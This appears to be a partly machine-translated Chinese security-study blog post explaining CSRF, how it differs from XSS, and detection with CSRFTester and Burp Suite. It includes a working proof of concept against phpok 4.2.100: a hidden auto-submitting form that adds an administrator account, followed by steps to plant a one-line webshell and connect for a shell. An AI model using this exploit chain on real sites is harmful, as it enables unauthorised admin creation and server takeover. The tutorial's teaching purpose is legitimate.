当前位置:网站首页>DAY17, CSRF vulnerability
DAY17, CSRF vulnerability
2022-07-30 04:30:00 【EdmunDJK】
DAY17、CSRF 漏洞
1、CSRF 漏洞简介
CSRF 的全称是Cross-site request forgery,即跨站请求伪造:
The attacker sends forged network requests to the attacked site in the identity of the attacker without the victim's knowledge,从而在未授权的情况下执行在权限保护之下的操作,具有很大的危害性.
具体来讲,可以这样理解CSRF攻击:攻击者盗用了你的身份,以你的名义发送恶意请求,对服务器来说这个请求是完全合法的,但是却完成了攻击者所期望的一个操作,比如以你的名义发送邮件、发消息,盗取你的账号,添加系统管理员,甚至于购买商品、虚拟货币转账等.
2、CSRF Vulnerability causes and principles
在进行操作时,The program did not verify the source and user of the operation request.

3、CSRF Vulnerability Jane and XSS 漏洞的区别
CSRF漏洞:
攻击者发现CSRF漏洞——构造代码——发送给受害人——受害人打开——受害人执行代码——完成攻击
XSS漏洞:
攻击者发现XSS漏洞——构造代码——发送给受害人——受害人打开——攻击者获取受害人的cookie——完成攻击.
XSS容易发现,Because the attacker needs to log in to the background to complete the attack.Administrators can look at logs to find attackers;
CSRF则不同,他的 Attacks have always been implemented by administrators themselves,The attacker is only responsible for constructing the code.
4、CSRF Vulnerability detection and exploitation
(1)(服务器对客户端的信任)用户已获取服务器认证,登录网站, 并在本地生成cookie(已进行网页认证)
(2)攻击者(或黑客)提供的恶意链接,Victims must Do not log out of vulnerable websites,同时使用同一个 浏览器打开(可通过社工的方法)
(3)网站除了验证Cookie,没有特殊验证方法
4.1、第一种方法:
使用 OWASP CSRFTester 工具进行检测.它是OWASP推出的CSRF半自动化软件,He left it outCSRF最繁琐的过程-------代码构造. 使用代理抓取我们在浏览器中访问过的所有的连接及表单等信息, 修改相应的表单等信息,重新提交,如果测试请求成功被网站服务器接受,则说明存在CSRF漏洞.

4.2、第二种方法:
使用 burpsuite 对 CSRF 漏洞进行检测. 首先抓取认为可能存在CSRFVulnerable request packet,然后查看是否存在 token 或 referer 验证. 如果不存在验证则可能存在 CSRF 漏洞 , 此时可使用 burpsuite 的 Engagement tools 去生成 CSRF 漏洞的 PoC ,去验证 CSRF 漏洞.

5、CSRF漏洞实例
phpok4.2.100CSRFAdd any administrator account:
一、Construct a form to add system administrators
<div style="display:none">
<form action="http://1xx.xxx.xxx.xx8:8081/admin.php?c=admin&f=save" id="poc" name="poc" method="post">
<input type="hidden" name="id" value=""/>
<input type="hidden" name="account" value=""/>
<input type="hidden" name="pass" value=""/>
<input typ e="hidden" name="email" value=""/>
<input type="hidden" name="status" value=""/>
<input type="hidden" name="if_system" value=""/>
<input type="submit" name="up" value="submit"/>
</form>
<script> var t = document.poc; t.account.value="666666"; t.pass.value="123456"; t.status.value="1"; t.if_system.value="1"; document.poc.submit(); </script>
</div>
二、Administrators visit this page
Log in with the administrator account,Visit this form.
At this point, you can successfully create an administrator user

三、Find the style management in the background management>>文件管理,Select Create Template File,写 Fill in the name when enteringxxx.html,抓包修改后缀名为php,如下图所示:

四、在文件管理中,选择一个文件,进行编辑,然后改名字.
(1)例如,如下图的 book_list.html
(2)编辑,Add a sentence Trojan horse in it
(3)提交,然后改名字.

五、访问.
(1)From the prompt at the bottom of the page,Paths can be guessed.
(2)访问页面
(3)蚁剑连接 getshell
边栏推荐
- mysql structure, index details
- Unity beginner 5 cameras follow, border control and simple particle control (2 d)
- 获取本机IP和Request的IP
- Based on all volunteers - H and D1 XR806 rare plant monitoring device
- Go书籍大全-从初级到高级以及Web开发
- Go 学习笔记(84)— Go 项目目录结构
- Pytorch framework learning record 5 - the use of DataLoader
- PyG builds R-GCN to realize node classification
- @ WebServlet annotations (Servlet annotations)
- 恐造成下一个“千年虫”的闰秒,遭科技巨头们联合抵制
猜你喜欢
![[Awards every week] The](/img/78/4b510b190475d603490614d2c8199f.png)
[Awards every week] The "Edge Containers" track of the Cloud Native Programming Challenge invites you to fight!

MySQL 操作语句大全(详细)

MYSQL unique constraint

state space representation

2.6 Merge Sort

MySQL operation statement Daquan (detailed)

Usage of exists in sql

Chapter8 支持向量机

宇宙的尽头是银行?聊聊在银行做软件测试的那些事

Drools (7): WorkBench
随机推荐
handler+message【消息机制】
Thinkphp 5.0.24变量覆盖漏洞导致RCE分析
Atomic Guarantees of Redis Distributed Locks
MySql 怎么查出符合条件的最新的数据行?
- B + tree index and MySQL series 】 【 what is the difference between a HASH index
cv2.polylines
厦门感芯科技MC3172(1):介绍和环境搭建
Many overseas authoritative media hotly discuss TRON: laying the foundation for the decentralization of the Internet
sql语句-如何以一个表中的数据为条件据查询另一个表中的数据
Mysql version upgrade, copy the Data file directly, the query is very slow
Shell脚本基本编辑规范及变量
state space representation
【Redis高手修炼之路】Jedis——Jedis的基本使用
Eureka Registry
MySQL 操作语句大全(详细)
精品MySQL面试题,备战八月99%必问!过不了面试算我的
MySQL installation error solution
Go书籍大全-从初级到高级以及Web开发
数据库概论 - MySQL的简单介绍
@WebServlet注解(Servlet注解)